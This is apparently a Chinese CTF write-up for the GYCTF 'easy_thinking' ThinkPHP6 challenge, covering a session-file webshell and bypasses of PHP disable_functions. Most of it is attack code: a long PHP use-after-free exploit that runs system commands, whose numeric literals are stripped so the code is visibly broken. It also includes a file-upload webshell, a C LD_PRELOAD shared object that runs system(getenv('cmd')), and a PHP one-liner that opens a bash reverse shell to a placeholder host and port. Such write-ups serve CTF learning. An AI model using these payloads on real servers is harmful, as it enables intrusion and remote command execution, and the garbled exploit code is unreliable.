GYCTF easy_thinking

前期储备：ThinkPHP6 任意文件操作漏洞分析 https://paper.seebug.org/1114/

学习链接：

https://www.freebuf.com/articles/web/192052.html

https://bugs.php.net/bug.php?id=72530

https://www.gem-love.com/ctf/1669.html#easy_thinking

https://www.jianshu.com/p/b0a130fe5c4d

复现：

源码泄露，看了一下是tp6框架，代码审计一下

常见的系统命令函数：

修改session，长度为32位，session后缀改为.php{加上.php后为32位}

在搜索框搜索的内容会直接保存在/runtime/session/目录下，直接getshell

但是上传了一句话连不上去（菜刀8行，可以用antsword），看一下phpinfo，发现许多函数都被ban了，这里学习到了师傅的方法：https://www.gem-love.com/ctf/1669.html#easy_thinking

exp：https://github.com/mm0r1/exploits

<?php

pwn("/readflag"); //这里是想要执行的系统命令

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = , $s = ) {
        $address = ;
        for($j = $s-; $j >= ; $j--) {
            $address <<= ;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = ) {
        $out = "";
        for ($i=; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= ;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = ) {
        $i = ;
        for($i = ; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= ;
        }
    }

    function leak($addr, $p = , $s = ) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != ) { $leak %=  << ($s * ) - ; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, );

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, );
        $e_phnum = leak($base, 0x38, );

        for($i = ; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, , );
            $p_flags = leak($header, , );
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type ==  && $p_flags == ) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type ==  ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type ==  && $p_flags == ) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = ; $i < $data_size / ; $i++) {
            $leak = leak($data_addr, $i * );
            if($leak - $base >  && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + ) * );
            if($leak - $base >  && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * ;
        }
    }

    function get_binary_base($binary_leak) {
        $base = ;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = ; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, , );
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, , );

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + );
            }
            $addr += 0x20;
        } while($f_entry != );
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = ;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = ; # increase this value if you get segfaults

    $contiguous = [];
    for($i = ; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', );

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[] = ptr2str(, );
    unset($v);
    $abc = $out[][];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) ==  || strlen($abc) == ) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, );
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, );
    write($abc, 0x70, );

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, );
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = ; $i < 0x110; $i += ) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, , ); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

bypss这些函数要使用到脚本，可是不可能一次性上传大的脚本，于是写了个小马，构造一个表单上传脚本

<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
?>

上面师傅的blog里还学到了另一个情况，（2019第十届极客挑战赛RCE ME）

通常情况下使用LD_PRELOAD劫持系统函数，参考https://www.freebuf.com/articles/web/192052.html

但是这个题ban了mail(),所以不能用。

与本题类似题目：

2019高校网络信息安全管理运维挑战赛的expass，利用php2016年的漏洞https://bugs.php.net/bug.php?id=72530

脚本是一样的 （师傅tpl！！！）

小记  一般导致webshell不能执行命令的原因

一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数；
二是 web 进程运行在 rbash 这类受限 shell 环境中；
三是 WAF 拦劫。若是一则无法执行任何命令，
若是二、三则可以执行少量命令。从当前现象来看，很可能由 disable_functions 所致。利用前面的 RCE 漏洞执行 phpinfo()可查证推测

绕过思路：

有四种绕过 disable_functions 的手法：
第一种，攻击后端组件，寻找存在命令注入的、web 应用常用的后端组件，如，ImageMagick 的魔图漏洞、bash 的破壳漏洞；
第二种，寻找未禁用的漏网函数，常见的执行命令的函数有 system()、exec()、shell_exec()、passthru()，偏僻的 popen()、proc_open()、pcntl_exec()，逐一尝试，或许有漏网之鱼；
第三种，mod_cgi 模式，尝试修改 .htaccess，调整请求访问路由，绕过 php.ini 中的任何限制；
第四种，利用环境变量 LD_PRELOAD 劫持系统函数，让外部程序加载恶意 *.so，达到执行系统命令的效果（要求PHP支持 putenv()、mail()）
如果mail(),putenv()被ban了，就试一下介个脚本

官方wp:

看了官方wp--------------

如果phpinfo里面有 gnupg 拓展，该拓展能够实现在 php 中使用 gpg 加密，测试可以发现使用 gnupg 拓展下的 gnupg_init() 函数 可以进行 bypass。

exp.c

#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
    unsetenv("LD_PRELOAD");
    if (getenv("cmd") != NULL){
        system(getenv("cmd"));
    }else{
        system("echo 'no cmd' > /tmp/cmd.output");
    }
}

将本地生成exp.so  (  gcc --share -fPIC exp.c -o exp.so  )传入/tmp/下

再传入

<?php putenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init();?>

反弹shell,读取文件就可以了

但是我刚开官方wp的时候，很迷惑，mail函数已经被ban了，为什么还可以用LD_PRELOAD突破bypass?????

在buu上复现的时候不行耶。。。。  我去研究研究。。。。。知道了再来写